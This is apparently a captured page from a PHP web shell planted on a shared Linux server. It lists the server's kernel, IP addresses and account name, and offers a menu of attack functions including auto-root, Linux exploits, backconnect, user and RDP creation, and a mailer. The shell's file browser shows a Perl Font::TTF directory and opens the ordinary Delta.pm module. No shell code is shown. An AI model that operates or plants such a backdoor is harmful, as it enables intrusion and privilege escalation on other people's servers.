Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Font /
TTF /
[ HOME SHELL ]
Name
Size
Permission
Action
Features
[ DIR ]
drwxr-xr-x
Kern
[ DIR ]
drwxr-xr-x
Mort
[ DIR ]
drwxr-xr-x
Woff
[ DIR ]
drwxr-xr-x
AATKern.pm
2.89
KB
-rw-r--r--
AATutils.pm
23.07
KB
-rw-r--r--
Anchor.pm
4.8
KB
-rw-r--r--
Bsln.pm
3.72
KB
-rw-r--r--
Changes_old.txt
2.17
KB
-rw-r--r--
Cmap.pm
23.91
KB
-rw-r--r--
Coverage.pm
8.38
KB
-rw-r--r--
Cvt_.pm
1.4
KB
-rw-r--r--
DSIG.pm
1.97
KB
-rw-r--r--
Delta.pm
3.39
KB
-rw-r--r--
Dumper.pm
2.56
KB
-rw-r--r--
EBDT.pm
7.16
KB
-rw-r--r--
EBLC.pm
6.3
KB
-rw-r--r--
Fdsc.pm
2.18
KB
-rw-r--r--
Feat.pm
4.44
KB
-rw-r--r--
Fmtx.pm
1.96
KB
-rw-r--r--
Font.pm
29.07
KB
-rw-r--r--
Fpgm.pm
1.66
KB
-rw-r--r--
GDEF.pm
13.64
KB
-rw-r--r--
GPOS.pm
20.74
KB
-rw-r--r--
GSUB.pm
8.64
KB
-rw-r--r--
Glat.pm
3.42
KB
-rw-r--r--
Gloc.pm
2.56
KB
-rw-r--r--
Glyf.pm
3.68
KB
-rw-r--r--
Glyph.pm
25.25
KB
-rw-r--r--
GrFeat.pm
8.33
KB
-rw-r--r--
Hdmx.pm
3.12
KB
-rw-r--r--
Head.pm
5.84
KB
-rw-r--r--
Hhea.pm
3.54
KB
-rw-r--r--
Hmtx.pm
4.61
KB
-rw-r--r--
Kern.pm
8.5
KB
-rw-r--r--
LTSH.pm
1.67
KB
-rw-r--r--
Loca.pm
4.72
KB
-rw-r--r--
Manual.pod
8.96
KB
-rw-r--r--
Maxp.pm
4.17
KB
-rw-r--r--
Mort.pm
2.1
KB
-rw-r--r--
Name.pm
27.78
KB
-rw-r--r--
OS_2.pm
38.07
KB
-rw-r--r--
OTTags.pm
42.94
KB
-rw-r--r--
OldCmap.pm
9.66
KB
-rw-r--r--
OldMort.pm
25.53
KB
-rw-r--r--
PCLT.pm
2.49
KB
-rw-r--r--
PSNames.pm
132.77
KB
-rw-r--r--
Post.pm
9.53
KB
-rw-r--r--
Prep.pm
1.61
KB
-rw-r--r--
Prop.pm
3.47
KB
-rw-r--r--
Segarr.pm
9.53
KB
-rw-r--r--
Silf.pm
28.24
KB
-rw-r--r--
Sill.pm
3.2
KB
-rw-r--r--
Table.pm
11.15
KB
-rw-r--r--
Ttc.pm
3.87
KB
-rw-r--r--
Ttopen.pm
44.24
KB
-rw-r--r--
Useall.pm
2.16
KB
-rw-r--r--
Utils.pm
18.51
KB
-rw-r--r--
Vhea.pm
3.57
KB
-rw-r--r--
Vmtx.pm
1.66
KB
-rw-r--r--
Win32.pm
1.08
KB
-rw-r--r--
Woff.pm
1.09
KB
-rw-r--r--
XMLparse.pm
5.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Delta.pm
package Font::TTF::Delta; =head1 NAME Font::TTF::Delta - Opentype Device tables =head1 DESCRIPTION Each device table corresponds to a set of deltas for a particular point over a range of ppem values. =over =item first The first ppem value in the range =item last The last ppem value in the range =item val This is an array of deltas corresponding to each ppem in the range between first and last inclusive. =item fmt This is the fmt used (log2 of number bits per value) when the device table was read. It is recalculated on output. =back =head1 METHODS =cut use strict; use Font::TTF::Utils; =head2 new Creates a new device table =cut sub new { my ($class) = @_; my ($self) = {}; bless $self, $class; } =head2 read Reads a device table from the given IO object at the current location =cut sub read { my ($self, $fh) = @_; my ($dat, $fmt, $num, $i, $j, $mask); $fh->read($dat, 6); ($self->{'first'}, $self->{'last'}, $fmt) = TTF_Unpack("S3", $dat); $self->{'fmt'} = $fmt; $fmt = 1 << $fmt; $num = ((($self->{'last'} - $self->{'first'} + 1) * $fmt) + 15) >> 8; $fh->read($dat, $num); $mask = (0xffff << (16 - $fmt)) & 0xffff; $j = 0; for ($i = $self->{'first'}; $i <= $self->{'last'}; $i++) { if ($j == 0) { $num = TTF_Unpack("S", substr($dat, 0, 2)); substr($dat, 0, 2) = ''; } push (@{$self->{'val'}}, ($num & $mask) >> (16 - $fmt)); $num <<= $fmt; $j += $fmt; $j = 0 if ($j >= 16); } $self; } =head2 out($fh, $style) Outputs a device table to the given IO object at the current location, or just returns the data to be output if $style != 0 =cut sub out { my ($self, $fh, $style) = @_; my ($dat, $fmt, $num, $mask, $j, $f, $out); foreach $f (@{$self->{'val'}}) { my ($tfmt) = $f > 0 ? $f + 1 : -$f; $fmt = $tfmt if $tfmt > $fmt; } if ($fmt > 8) { $fmt = 3; } elsif ($fmt > 2) { $fmt = 2; } else { $fmt = 1; } $out = TTF_Pack("S3", $self->{'first'}, $self->{'last'}, $fmt); $fmt = 1 << $fmt; $mask = 0xffff >> (16 - $fmt); $j = 0; $dat = 0; foreach $f (@{$self->{'val'}}) { $dat |= ($f & $mask) << (16 - $fmt - $j); $j += $fmt; if ($j >= 16) { $j = 0; $out .= TTF_Pack("S", $dat); $dat = 0; } } $out .= pack('n', $dat) if ($j > 0); $fh->print($out) unless $style; $out; } =head2 $d->signature() Returns a content based identifying string for this delta for compression purposes =cut sub signature { my ($self) = @_; return join (",", $self->{'first'}, $self->{'last'}, @{$self->{'val'}}); } =head2 $d->out_xml($context) Outputs a delta in XML =cut sub out_xml { my ($self, $context, $depth) = @_; my ($fh) = $context->{'fh'}; $fh->printf("%s<delta first='%s' last='%s'>\n", $depth, $self->{'first'}, $self->{'last'}); $fh->print("$depth$context->{'indent'}" . join (' ', @{$self->{'val'}}) . "\n") if defined ($self->{'val'}); $fh->print("$depth</delta>\n"); } 1; =head1 AUTHOR Martin Hosken L<http://scripts.sil.org/FontUtils>. =head1 LICENSING Copyright (c) 1998-2016, SIL International (http://www.sil.org) This module is released under the terms of the Artistic License 2.0. For details, see the full text of the license in the file LICENSE. =cut
Close